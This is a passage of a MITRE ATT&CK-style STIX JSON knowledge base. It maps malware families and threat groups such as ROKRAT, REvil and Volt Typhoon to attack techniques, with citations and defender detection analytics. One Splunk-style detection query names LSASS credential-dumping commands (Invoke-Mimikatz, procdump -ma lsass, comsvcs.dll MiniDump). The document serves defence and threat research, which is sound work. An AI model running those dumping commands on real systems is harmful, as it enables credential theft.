            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
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                    "source_name": "NCCGroup RokRat Nov 2018",
                    "description": "Pantazopoulos, N.. (2018, November 8). RokRat Analysis. Retrieved May 21, 2020.",
                    "url": "https://research.nccgroup.com/2018/11/08/rokrat-analysis/"
                },
                {
                    "source_name": "Volexity InkySquid RokRAT August 2021",
                    "description": "Cash, D., Grunzweig, J., Adair, S., Lancaster, T. (2021, August 25). North Korean BLUELIGHT Special: InkySquid Deploys RokRAT. Retrieved October 1, 2021.",
                    "url": "https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/"
                },
                {
                    "source_name": "Malwarebytes RokRAT VBA January 2021",
                    "description": "Jazi, Hossein. (2021, January 6). Retrohunting APT37: North Korean APT used VBA self decode technique to inject RokRat. Retrieved March 22, 2022.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2021/01/retrohunting-apt37-north-korean-apt-used-vba-self-decode-technique-to-inject-rokrat/"
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            ],
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            "modified": "2025-04-28T16:11:30.075Z",
            "description": "[ROKRAT](https://attack.mitre.org/software/S0240) can collect host data and specific file types.(Citation: NCCGroup RokRat Nov 2018)(Citation: Volexity InkySquid RokRAT August 2021)(Citation: Malwarebytes RokRAT VBA January 2021)",
            "relationship_type": "uses",
            "source_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f",
            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
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            "x_mitre_deprecated": false,
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        {
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            "created": "2021-09-28T18:53:02.509Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Kaspersky Ferocious Kitten Jun 2021",
                    "description": "GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021.",
                    "url": "https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/"
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            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-28T16:11:30.250Z",
            "description": "[MarkiRAT](https://attack.mitre.org/software/S0652) can check for the Telegram installation directory by enumerating the files on disk.(Citation: Kaspersky Ferocious Kitten Jun 2021)",
            "relationship_type": "uses",
            "source_ref": "malware--532c6004-b1e8-415b-9516-f7c14ba783b1",
            "target_ref": "attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "id": "relationship--d1a489c9-f937-4cc8-85d0-b4ce6b961a62",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "Accenture MUDCARP March 2019",
                    "description": "Accenture iDefense Unit. (2019, March 5). Mudcarp's Focus on Submarine Technologies. Retrieved August 24, 2021.",
                    "url": "https://www.accenture.com/us-en/blogs/cyber-defense/mudcarps-focus-on-submarine-technologies"
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            "modified": "2025-04-28T16:11:30.421Z",
            "description": "[BADFLICK](https://attack.mitre.org/software/S0642) can decode shellcode using a custom rotating XOR cipher.(Citation: Accenture MUDCARP March 2019)",
            "relationship_type": "uses",
            "source_ref": "malware--57d83eac-a2ea-42b0-a7b2-c80c55157790",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
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            "modified": "2025-04-28T16:11:30.615Z",
            "description": "Monitor suspicious programs execution through services. These processes may show up as outlier processes that have not been seen before when compared against historical data.",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
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            "id": "relationship--d1af80bc-f27a-46ef-9dea-4aa67a6a83f6",
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            "modified": "2025-04-16T22:48:56.142Z",
            "description": "Monitor for unexpected deletion of a command history file, such as `ConsoleHost_history.txt`, `~/.zsh_history`, `~/.bash_history`, or `/var/log/shell.log`.\n\nAnalytic 1 - Deletion of command history files\n\n<code>(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"23\") OR (source=\"*WinEventLog:Security\" EventCode=\"4663\") FilePath LIKE '%ConsoleHost_history.txt%' AND\n   ObjectType == \"File\" AND\n   (UserAccessList LIKE '%1537%' OR \n    UserAccessList LIKE '%DELETE%'))</code>",
            "relationship_type": "detects",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
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        {
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            "spec_version": "2.1",
            "id": "relationship--d1b3314d-4676-4479-85e8-c2b087a25c81",
            "created": "2024-09-16T14:51:06.643Z",
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            "revoked": false,
            "external_references": [
                {
                    "source_name": "Github_SILENTTRINITY",
                    "description": "byt3bl33d3r. (n.d.). SILENTTRINITY. Retrieved September 12, 2024.",
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            "modified": "2025-04-16T22:48:56.416Z",
            "description": "[SILENTTRINITY](https://attack.mitre.org/software/S0692) can downgrade NTLM to capture NTLM hashes.(Citation: Github_SILENTTRINITY) ",
            "relationship_type": "uses",
            "source_ref": "tool--1244e058-fa10-48cb-b484-0bcf671107ae",
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            "x_mitre_attack_spec_version": "3.2.0"
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                    "source_name": "GitHub Pupy",
                    "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.",
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                    "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.",
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                    "url": "https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf"
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                    "description": "Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018.",
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                    "description": "Batista, J. (2024, June 17). Latrodectus, are you coming back?. Retrieved September 13, 2024.",
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                    "source_name": "Latrodectus APR 2024",
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                    "description": "Stepanic, D. and Bousseaden, S. (2024, May 15). Spring Cleaning with LATRODECTUS: A Potential Replacement for ICEDID. Retrieved September 13, 2024.",
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                    "description": "Buddy Tancio, Fe Cureg, and Jovit Samaniego, Trend Micro. (2025, January 30). Lumma Stealer\u2019s GitHub-Based Delivery Explored via Managed Detection and Response. Retrieved March 22, 2025.",
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                    "source_name": "Proofpoint NETWIRE December 2020",
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                    "source_name": "Securelist Brazilian Banking Malware July 2020",
                    "description": "GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020.",
                    "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/"
                },
                {
                    "source_name": "ESET Grandoreiro April 2020",
                    "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020.",
                    "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/"
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            "description": "Organizations may consider weighing the risk of storing credentials in web browsers. If web browser credential disclosure is a significant concern, technical controls, policy, and user training may be used to prevent storage of credentials in web browsers.",
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                    "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.",
                    "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/"
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                {
                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
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            "description": "[Daserf](https://attack.mitre.org/software/S0187) can log keystrokes.(Citation: Trend Micro Daserf Nov 2017)(Citation: Secureworks BRONZE BUTLER Oct 2017)",
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                    "description": "Tartare, M. et al. (2020, May 21). No \u201cGame over\u201d for the Winnti Group. Retrieved August 24, 2020.",
                    "url": "https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/"
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            "description": "[PipeMon](https://attack.mitre.org/software/S0501) can decrypt password-protected executables.(Citation: ESET PipeMon May 2020)",
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                    "description": "Hunt & Hackett Research Team. (2024, January 5). Turkish espionage campaigns in the Netherlands. Retrieved November 20, 2024.",
                    "url": "https://www.huntandhackett.com/blog/turkish-espionage-campaigns"
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                {
                    "source_name": "PWC Sea Turtle 2023",
                    "description": "PwC Threat Intelligence. (2023, December 5). The Tortoise and The Malware. Retrieved November 20, 2024.",
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            "description": "[Sea Turtle](https://attack.mitre.org/groups/G1041) used shell scripts for post-exploitation execution in victim environments.(Citation: PWC Sea Turtle 2023)(Citation: Hunt Sea Turtle 2024)",
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                    "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019.",
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                {
                    "source_name": "Malwarebytes Kimsuky June 2021",
                    "description": "Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/"
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            "description": "[AppleSeed](https://attack.mitre.org/software/S0622) can achieve execution through users running malicious file attachments distributed via email.(Citation: Malwarebytes Kimsuky June 2021)",
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                    "source_name": "ESET Gazer Aug 2017",
                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
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            "description": "[Gazer](https://attack.mitre.org/software/S0168) stores configuration items in alternate data streams (ADSs) if the Registry is not accessible.(Citation: ESET Gazer Aug 2017)",
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            "description": "Malicious XDG autostart entries may be detected by auditing file modification events within the <code>/etc/xdg/autostart</code> and <code>~/.config/autostart</code> directories. Depending on individual configurations, defenders may need to query the environment variables <code>$XDG_CONFIG_HOME</code> or <code>$XDG_CONFIG_DIRS</code> to determine the paths of Autostart entries. Autostart entry files not associated with legitimate packages may be considered suspicious. Suspicious entries can also be identified by comparing entries to a trusted system baseline.",
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                    "description": "Microsoft Threat Intelligence. (2024, May 15). Threat actors misusing Quick Assist in social engineering attacks leading to ransomware. Retrieved March 14, 2025.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2024/05/15/threat-actors-misusing-quick-assist-in-social-engineering-attacks-leading-to-ransomware/"
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            "description": "[Storm-1811](https://attack.mitre.org/groups/G1046) has distributed malicious links to victims that redirect to EvilProxy-based phishing sites to harvest credentials.(Citation: Microsoft Storm-1811 2024)",
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                    "description": "USG. (2020, May 12). MAR-10288834-2.v1 \u2013 North Korean Trojan: TAINTEDSCRIBE. Retrieved March 5, 2021.",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133b"
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            "description": "[TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) can randomly pick one of five hard-coded IP addresses for C2 communication; if one of the IP fails, it will wait 60 seconds and then try another IP address.(Citation: CISA MAR-10288834-2.v1  TAINTEDSCRIBE MAY 2020)",
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                {
                    "source_name": "Symantec Dragonfly",
                    "description": "Symantec Security Response. (2014, June 30). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.",
                    "url": "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments"
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            "description": "[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) collects the current username from the victim.(Citation: Symantec Dragonfly)",
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            "modified": "2025-04-16T22:49:14.356Z",
            "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)). Network Analysis frameworks such as Zeek can be used to capture, decode, and alert on network protocols including RDP.",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
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            "id": "relationship--d2ea2645-1940-4776-a874-09309f75636a",
            "created": "2021-04-07T15:19:28.661Z",
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                {
                    "source_name": "ATT Sidewinder January 2021",
                    "description": "Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021.",
                    "url": "https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf"
                },
                {
                    "source_name": "Rewterz Sidewinder APT April 2020",
                    "description": "Rewterz. (2020, April 20). Sidewinder APT Group Campaign Analysis. Retrieved January 29, 2021.",
                    "url": "https://www.rewterz.com/threats/sidewinder-apt-group-campaign-analysis"
                },
                {
                    "source_name": "Rewterz Sidewinder COVID-19 June 2020",
                    "description": "Rewterz. (2020, June 22). Analysis on Sidewinder APT Group \u2013 COVID-19. Retrieved January 29, 2021.",
                    "url": "https://www.rewterz.com/articles/analysis-on-sidewinder-apt-group-covid-19"
                },
                {
                    "source_name": "Cyble Sidewinder September 2020",
                    "description": "Cyble. (2020, September 26). SideWinder APT Targets with futuristic Tactics and Techniques. Retrieved January 29, 2021.",
                    "url": "https://cybleinc.com/2020/09/26/sidewinder-apt-targets-with-futuristic-tactics-and-techniques/"
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            "modified": "2025-04-28T16:11:43.076Z",
            "description": "[Sidewinder](https://attack.mitre.org/groups/G0121) has lured targets to click on malicious links to gain execution in the target environment.(Citation: ATT Sidewinder January 2021)(Citation: Rewterz Sidewinder APT April 2020)(Citation: Rewterz Sidewinder COVID-19 June 2020)(Citation: Cyble Sidewinder September 2020)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e",
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                    "source_name": "Volexity Exchange Marauder March 2021",
                    "description": "Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021.",
                    "url": "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/"
                },
                {
                    "source_name": "Microsoft Silk Typhoon MAR 2025",
                    "description": "Microsoft Threat Intelligence . (2025, March 5). Silk Typhoon targeting IT supply chain. Retrieved March 20, 2025.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2025/03/05/silk-typhoon-targeting-it-supply-chain/"
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            "description": "[HAFNIUM](https://attack.mitre.org/groups/G0125) has granted privileges to domain accounts and reset the password for default admin accounts.(Citation: Volexity Exchange Marauder March 2021)(Citation: Microsoft Silk Typhoon MAR 2025)",
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                    "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020.",
                    "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf"
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            "description": "[ShimRat](https://attack.mitre.org/software/S0444) can enumerate connected drives for infected host machines.(Citation: FOX-IT May 2016 Mofang)",
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                    "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"
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            "description": "[Dragonfly](https://attack.mitre.org/groups/G0035) has identified and browsed file servers in the victim network, sometimes , viewing files pertaining to ICS or Supervisory Control and Data Acquisition (SCADA) systems.(Citation: US-CERT TA18-074A)",
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            "modified": "2025-04-28T16:11:43.840Z",
            "description": "[Epic](https://attack.mitre.org/software/S0091) searches for anti-malware services running on the victim\u2019s machine and terminates itself if it finds them.(Citation: Kaspersky Turla)",
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                    "description": "Chen, y., et al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved July 22, 2020.",
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                    "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020.",
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                    "description": "Microsoft Threat Intelligence. (2024, May 15). Threat actors misusing Quick Assist in social engineering attacks leading to ransomware. Retrieved March 14, 2025.",
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                    "description": "Or Chechik, Tom Fakterman, Daniel Frank & Assaf Dahan. (2023, November 6). Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors. Retrieved May 22, 2024.",
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                    "description": "Mendoza, E. et al. (2020, May 25). Qakbot Resurges, Spreads through VBS Files. Retrieved September 27, 2021.",
                    "url": "https://www.trendmicro.com/vinfo/ph/security/news/cybercrime-and-digital-threats/qakbot-resurges-spreads-through-vbs-files"
                },
                {
                    "source_name": "Kroll Qakbot June 2020",
                    "description": "Sette, N. et al. (2020, June 4). Qakbot Malware Now Exfiltrating Emails for Sophisticated Thread Hijacking Attacks. Retrieved September 27, 2021.",
                    "url": "https://www.kroll.com/en/insights/publications/cyber/qakbot-malware-exfiltrating-emails-thread-hijacking-attacks"
                },
                {
                    "source_name": "Trend Micro Qakbot December 2020",
                    "description": "Trend Micro. (2020, December 17). QAKBOT: A decade-old malware still with new tricks. Retrieved November 17, 2024.",
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            "description": "[Akira](https://attack.mitre.org/groups/G1024) has used binary padding to obfuscate payloads.(Citation: Cisco Akira Ransomware OCT 2024)",
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            "description": "[Zebrocy](https://attack.mitre.org/software/S0251) has used URL/Percent Encoding on data exfiltrated via HTTP POST requests.(Citation: Accenture SNAKEMACKEREL Nov 2018)",
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                    "url": "https://securelist.com/be2-extraordinary-plugins-siemens-targeting-dev-fails/68838/"
                },
                {
                    "source_name": "ESET BlackEnergy Jan 2016",
                    "description": "Cherepanov, A.. (2016, January 3). BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric industry . Retrieved June 10, 2020.",
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                {
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                    "description": "Counter Threat Unit Research Team. (2023, May 24). Chinese Cyberespionage Group BRONZE SILHOUETTE Targets U.S. Government and Defense Organizations. Retrieved July 27, 2023.",
                    "url": "https://www.secureworks.com/blog/chinese-cyberespionage-group-bronze-silhouette-targets-us-government-and-defense-organizations"
                },
                {
                    "source_name": "Microsoft Volt Typhoon May 2023",
                    "description": "Microsoft Threat Intelligence. (2023, May 24). Volt Typhoon targets US critical infrastructure with living-off-the-land techniques. Retrieved July 27, 2023.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2023/05/24/volt-typhoon-targets-us-critical-infrastructure-with-living-off-the-land-techniques/"
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            "description": "[Volt Typhoon](https://attack.mitre.org/groups/G1017) has used compromised domain accounts to authenticate to devices on compromised networks.(Citation: Microsoft Volt Typhoon May 2023)(Citation: Secureworks BRONZE SILHOUETTE May 2023)(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)",
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            "id": "relationship--d55ce1e6-d741-467a-87ef-d3392d7e3f32",
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            "modified": "2025-04-16T22:49:50.174Z",
            "description": "Monitor for newly constructed containers that repeatedly execute malicious payloads as part of persistence or privilege escalation.  ",
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            "x_mitre_deprecated": false,
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            "type": "relationship",
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            "id": "relationship--d5675fe6-c549-47d4-9708-cf000d3403ed",
            "created": "2025-03-20T22:34:43.784Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
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            "modified": "2025-04-16T22:49:50.393Z",
            "description": "Monitor for \n- Attachment creation events with excessive or repetitive file creation\n- Unusual file size from email messages (e.g., base64-encoded attachments dumped locally)\n- Burst of .eml, .msg, .tmp file extensions in mail client folders\n\nAnalytic 1 - Email file creations \n\n<code> EventCode=11 (file_name=\"*.eml\" OR file_name=\"*.msg\" OR file_name=\"*.tmp\")\n| stats count avg(file_size) max(file_size) by user, file_path, process_name, _time\n| where count > 100 OR max(file_size) > 1000000\n| table _time, user, process_name, file_path, file_name, count, max(file_size)</code>",
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            "source_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
            "target_ref": "attack-pattern--bed81616-3dde-4685-be6e-ba9820f9a7ed",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
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            "type": "relationship",
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            "id": "relationship--d56e3076-7221-4e3b-8628-d8c50982892d",
            "created": "2020-05-29T20:32:42.951Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Proofpoint TA505 October 2019",
                    "description": "Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader"
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            "modified": "2025-04-28T16:12:06.583Z",
            "description": "[Get2](https://attack.mitre.org/software/S0460) has the ability to identify the current username of an infected host.(Citation: Proofpoint TA505 October 2019)",
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            "source_ref": "malware--099ecff2-41b8-436d-843c-038a9aa9aa69",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
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            "x_mitre_deprecated": false,
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                {
                    "source_name": "Kaspersky Sodin July 2019",
                    "description": "Mamedov, O, et al. (2019, July 3). Sodin ransomware exploits Windows vulnerability and processor architecture. Retrieved August 4, 2020.",
                    "url": "https://securelist.com/sodin-ransomware/91473/"
                },
                {
                    "source_name": "McAfee Sodinokibi October 2019",
                    "description": "McAfee. (2019, October 2). McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service \u2013 What The Code Tells Us. Retrieved August 4, 2020.",
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/"
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                {
                    "source_name": "Secureworks REvil September 2019",
                    "description": "Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020.",
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            "modified": "2025-04-28T16:12:06.752Z",
            "description": "[REvil](https://attack.mitre.org/software/S0496) can identify the domain membership of a compromised host.(Citation: Kaspersky Sodin July 2019)(Citation: McAfee Sodinokibi October 2019)(Citation: Secureworks REvil September 2019)",
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                    "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.",
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            "description": "[POSHSPY](https://attack.mitre.org/software/S0150) modifies timestamps of all downloaded executables to match a randomly selected file created prior to 2013.(Citation: FireEye POSHSPY April 2017)",
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                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
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            "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used batch scripts and the command-line interface for execution.(Citation: Secureworks BRONZE BUTLER Oct 2017)",
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                    "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.",
                    "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/"
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                {
                    "source_name": "ESET OceanLotus",
                    "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.",
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            "modified": "2025-04-16T22:49:51.402Z",
            "description": "[APT32](https://attack.mitre.org/groups/G0050) includes garbage code to mislead anti-malware software and researchers.(Citation: ESET OceanLotus)(Citation: ESET OceanLotus Mar 2019)",
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                    "source_name": "Check Point Warzone Feb 2020",
                    "description": "Harakhavik, Y. (2020, February 3). Warzone: Behind the enemy lines. Retrieved December 17, 2021.",
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            "description": "[WarzoneRAT](https://attack.mitre.org/software/S0670) can communicate with its C2 server via TCP over port 5200.(Citation: Check Point Warzone Feb 2020)",
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                    "description": "Huseyin Can Yuceel. (2022, February 21). TTPs used by BlackByte Ransomware Targeting Critical Infrastructure. Retrieved December 16, 2024.",
                    "url": "https://www.picussecurity.com/resource/ttps-used-by-blackbyte-ransomware-targeting-critical-infrastructure"
                },
                {
                    "source_name": "Symantec BlackByte 2022",
                    "description": "Symantec Threat Hunter Team. (2022, October 21). Exbyte: BlackByte Ransomware Attackers Deploy New Exfiltration Tool. Retrieved December 16, 2024.",
                    "url": "https://www.security.com/threat-intelligence/blackbyte-exbyte-ransomware"
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            "modified": "2025-04-16T22:49:51.998Z",
            "description": "[BlackByte](https://attack.mitre.org/groups/G1043) has injected [Cobalt Strike](https://attack.mitre.org/software/S0154) into `wuauclt.exe` during intrusions.(Citation: Picus BlackByte 2022) [BlackByte](https://attack.mitre.org/groups/G1043) has injected ransomware into `svchost.exe` before encryption.(Citation: Symantec BlackByte 2022)",
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                {
                    "source_name": "F-Secure The Dukes",
                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"
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            "description": "[PinchDuke](https://attack.mitre.org/software/S0048) steals credentials from compromised hosts. [PinchDuke](https://attack.mitre.org/software/S0048)'s credential stealing functionality is believed to be based on the source code of the Pinch credential stealing malware (also known as LdPinch). Credentials targeted by [PinchDuke](https://attack.mitre.org/software/S0048) include ones associated with many sources such as Netscape Navigator, Mozilla Firefox, Mozilla Thunderbird, and Internet Explorer. (Citation: F-Secure The Dukes)",
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                    "source_name": "RotaJakiro 2021 netlab360 analysis",
                    "description": " Alex Turing, Hui Wang. (2021, April 28). RotaJakiro: A long live secret backdoor with 0 VT detection. Retrieved June 14, 2023.",
                    "url": "https://blog.netlab.360.com/stealth_rotajakiro_backdoor_en/"
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            "description": "When executing with non-root permissions, [RotaJakiro](https://attack.mitre.org/software/S1078) uses the the `shmget API` to create shared memory between other known [RotaJakiro](https://attack.mitre.org/software/S1078) processes. This allows processes to communicate with each other and share their PID.(Citation: RotaJakiro 2021 netlab360 analysis)",
            "relationship_type": "uses",
            "source_ref": "malware--08e844a8-371f-4fe3-9d1f-e056e64a7fde",
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                {
                    "source_name": "Securelist Remexi Jan 2019",
                    "description": "Legezo, D. (2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019.",
                    "url": "https://securelist.com/chafer-used-remexi-malware/89538/"
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                    "source_name": "BlackHat Atkinson Winchester Token Manipulation",
                    "description": "Atkinson, J., Winchester, R. (2017, December 7). A Process is No One: Hunting for Token Manipulation. Retrieved December 21, 2017.",
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                    "description": "Muhammad, I., Unterbrink, H.. (2021, January 6). A Deep Dive into Lokibot Infection Chain. Retrieved August 31, 2021.",
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            "description": "[Lokibot](https://attack.mitre.org/software/S0447) will delete its dropped files after bypassing UAC.(Citation: Talos Lokibot Jan 2021)",
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                    "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.",
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                    "description": "Priego, A. (2021, July). THE BROTHERS GRIM: THE REVERSING TALE OF GRIMAGENT MALWARE USED BY RYUK. Retrieved September 19, 2024.",
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            "description": "[GrimAgent](https://attack.mitre.org/software/S0632)  can pad C2 messages with random generated values.(Citation: Group IB GrimAgent July 2021)",
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                    "source_name": "Crowdstrike Qakbot October 2020",
                    "description": "CS. (2020, October 7). Duck Hunting with Falcon Complete: A Fowl Banking Trojan Evolves, Part 2. Retrieved September 27, 2021.",
                    "url": "https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-qakbot-zip-based-campaign/"
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                {
                    "source_name": "Group IB Ransomware September 2020",
                    "description": "Group IB. (2020, September). LOCK LIKE  A PRO. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20220119114433/https://groupib.pathfactory.com/ransomware-reports/prolock_wp"
                },
                {
                    "source_name": "Microsoft Ransomware as a Service",
                    "description": "Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"
                },
                {
                    "source_name": "ATT QakBot April 2021",
                    "description": "Morrow, D. (2021, April 15). The rise of QakBot. Retrieved September 27, 2021.",
                    "url": "https://cybersecurity.att.com/blogs/labs-research/the-rise-of-qakbot"
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            "description": "[QakBot](https://attack.mitre.org/software/S0650) can collect system information including the OS version and domain on a compromised host.(Citation: Crowdstrike Qakbot October 2020)(Citation: ATT QakBot April 2021)(Citation: Group IB Ransomware September 2020)(Citation: Microsoft Ransomware as a Service)",
            "relationship_type": "uses",
            "source_ref": "malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
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            "x_mitre_deprecated": false,
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                    "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
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            "description": "Monitor executed commands and arguments that may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nNote: Event ID 4104 from the \u201cMicrosoft-Windows-PowerShell/Operational\u201d log captures Powershell script blocks, whose contents can be further analyzed to determine if they\u2019re performing LSASS dumping.\n\nAnalytic 1 - Unauthorized command execution of LSASS memory.\n\n<code> index=security sourcetype=\"Powershell\" EventCode=4104\nImage=\"*powershell.exe\" CommandLine IN (\"*Invoke-Mimikatz*\", \"*procdump.exe* -ma lsass\", \"*rundll32.exe* comsvcs.dll, MiniDump\", \"*taskmgr.exe* /dump\") </code>",
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                    "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/"
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            "description": "[OopsIE](https://attack.mitre.org/software/S0264) uses the SmartAssembly obfuscator to pack an embedded .Net Framework assembly used for C2.(Citation: Unit 42 OopsIE! Feb 2018)",
